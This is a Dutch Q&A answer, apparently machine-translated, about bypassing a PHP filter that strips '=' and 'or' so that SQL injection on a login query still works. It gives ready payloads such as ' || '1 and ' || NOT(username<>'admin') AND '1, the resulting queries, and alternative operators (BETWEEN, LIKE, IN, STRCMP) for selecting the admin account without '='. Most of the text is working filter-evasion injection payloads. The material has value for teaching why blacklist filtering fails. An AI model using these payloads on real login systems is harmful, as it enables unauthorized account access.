sql >> Database >  >> RDS >> Mysql

SQL-injectie met php-filtering

Ervan uitgaande dat deze definitie van lvl2_filter , die in feite elk voorkomen van = . verwijdert en or totdat het niet meer wordt gevonden, moet het nog steeds mogelijk zijn om de logische OF-bewerking met || in plaats van OR en een eenvoudige uitdrukking die evalueert tot waar, zoals:

username: dummy
password: ' || '1

Dit zou resulteren in:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Voor het selecteren van een specifieke gebruiker kan men de regels van boolean algebra gebruiken , waarbij x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Dit zou resulteren in:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Hier <> is gelijk aan != maar bevat geen = .

Er zijn ook andere bewerkingen die men zou kunnen gebruiken om ervoor te zorgen dat gebruikersnaam is gelijk aan admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Een manier om gegevens uit een DateTime-waarde te extraheren zonder seconden

  2. Zoekbereik van Postgres-tijdstempel optimaliseren

  3. CONCAT() Functie in Oracle

  4. mysql query kamer beschikbaarheid